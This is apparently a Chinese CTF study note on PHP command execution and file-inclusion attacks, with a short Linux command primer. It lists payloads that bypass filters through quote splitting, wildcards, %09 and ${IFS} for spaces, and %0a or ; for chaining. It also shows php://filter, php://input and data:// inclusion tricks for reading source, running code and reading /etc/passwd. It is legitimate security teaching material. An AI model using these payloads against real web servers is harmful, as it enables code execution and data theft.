命令执行
Linux文件与目录管理命令
Linux文件与目录
在 Linux操作系统中,所有的文件和目录都被组织成以一个根节点开始的倒置的树状结构。
文件系统的最顶层是由根目录开始的,系统使用 / 来表示根目录。
在Linux文件系统中有两个特殊的目录,一个用户所在的工作目录,也叫当前目录,可以使用一个点 . 来表示;另一个是当前目录的上一级目录,也叫父目录,可以使用两个点 … 来表示。
. :代表当前的目录,也可以使用 ./ 来表示;
.. :代表上一层目录,也可以 ../ 来代表。
如果一个目录或文件名以一个点 . 开始,表示这个目录或文件是一个隐藏目录或文件(如:.bashrc)。即以默认方式查找时,不显示该目录或文件。
处理目录的常用命令
ls(英文全拼:list files): 列出目录及文件名 //重要
cd(英文全拼:change directory):切换目录 //重要
pwd(英文全拼:print work directory):显示目前的目录 //重要
mkdir(英文全拼:make directory):创建一个新的目录
rmdir(英文全拼:remove directory):删除一个空的目录
cp(英文全拼:copy file): 复制文件或目录 //重要
rm(英文全拼:remove): 删除文件或目录
mv(英文全拼:move file): 移动文件与目录,或修改文件与目录的名称 //重要
同cat功能的函数:tac、nl、more、less、head、tail、sed、sort、uniq、rev
cat 由第一行开始显示文件内容
tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
nl 显示的时候,顺道输出行号!
more 一页一页的显示文件内容
less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
head 只看头几行
tail 只看尾巴几行
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep(尚未研究)
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,
并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
Linux通配符
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
system命令
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将fla?.php文件复制到1.txt 通配符? 和*
1=system("cp f*.php 1.txt");//将f*.php文件复制到1.txt,*是多字母
1=system('cat f*');//glob1
1=system('cat f?ag.php');//glob2
1=system('cat f\lag.php');//转义字符实现绕过
1=system("cat f''lag.php");
//同理:是一样的效果
`cp fla?.php 1.txt`
echo `tac f''lag.php`
echo `nl fla?.???` //要查看源代码
echo `tac *`
system相关命令
- system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的原始输出,请使用passthru() 函数。
- exec : 执行一个外部程序,回显最后一行,需要用echo输出。
- shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
- popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
- proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
- passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP脚本中直接输出图像到浏览器。
- pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
- `(反引号):同 shell_exec(),和system差不多
绕过空格
过滤了空格,但是有多种办法可以绕过,讲解如下:
${IFS} //但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
%0a //换行符
因此得到payload:
?c=passthru("tac%09f*");
这里这五个,只有%09可以用。因为这里是命令执行不是代码执行。如${IFS}是在shell里用,而这里是在绕过php的正则。
绕过运算符
%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。
或者;
来代替 |
和&
进行命令拼接
%0a
%0d
;
|
&
绕过目录分隔符/
要是不可以用/
则用cd命令
绕过
常用的伪协议
- 在 CTF 中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码,php://input 用于执行 php 代码
php://input 需要 post 请求提交数据
php://filter 可以 get 提交
?a=php://filter/read=convert.base64-encode/resource=xxx.php
1 php:// — 访问各个输入/输出流(I/O streams)
2 file:// — 访问本地文件系统
3 ftp:// — 访问 FTP(s) URLs
4 http:// — 访问 HTTP(s) 网址
php://filter
- php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。 - php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致
任意文件读取。
协议参数
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。| |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
常用:
php://filter/resource=index.php
php://filter/read=convert.base64-encode/resource=index.php
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- 利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器:
convert.base64-encode & convert.base64-decode
//base64加密解密
php://input
- php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的
遇到file_get_contents()要想到用php://input绕过。
zip://
- zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。 相同的类型的还有zlib://和bzip2://
file://
- 用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
http://www.xx.com?file=file:/// //访问根目录
data://
- php5.2.0 起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是 PHP 代码,就会执行代码
- 使用方法:data://text/plain;base64,xxxx(base64 编码后的数据)
环境:
//include.php
<?php
@$file = $_GET['file'];
@include($file);
?>
漏洞利用:
?file=data://text/plain;base64,<?php phpinfo();
命令执行与文件包含
在 php 中能够造成文件包含的函数有
include、require、include_once、require_once、
highlight_file、show_source、
file_get_contents、fopen、file、readfile
include 函数
可以放在 PHP 脚本的任意位置,当第二次遇到相同文件时,PHP 还是会重新解释一次,include 载入成功后,返回 1,失败则返回 false。
require 函数
require 函数一般放在 PHP 脚本的最前面,PHP 执行前就会先读入 require 指定引入的文件,包含并尝试执行引入的脚本文件。require 载入成功返回 1,失败会有错误。
include_once 和 require_once 函数
分别与 require / include 作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。
highlight_file() 函数
对文件进行语法高亮显示。
语法:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。
show_source 函数
该函数是 highlight_file 函数的别名。
file_get_contents 函数
file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
file 函数
file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。
fopen
fopen (string $filename, string $mode)打开文件或者 URL,成功时返回文件指针资源,失败会有错误。
readfile
readfile( string $filename )读取文件并写入到输出缓冲。
其他绕过方式
?c=eval($_GET[1]);&1=system('tac flag.php');
//将变量c作为跳板,执行变量1的内容
运行 Shell 脚本的两种方法:
1、作为可执行程序
将代码保存为 test.sh,并 cd 到相应目录:
chmod +x ./test.sh #使脚本具有执行权限
./test.sh #执行脚本
- 注意,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。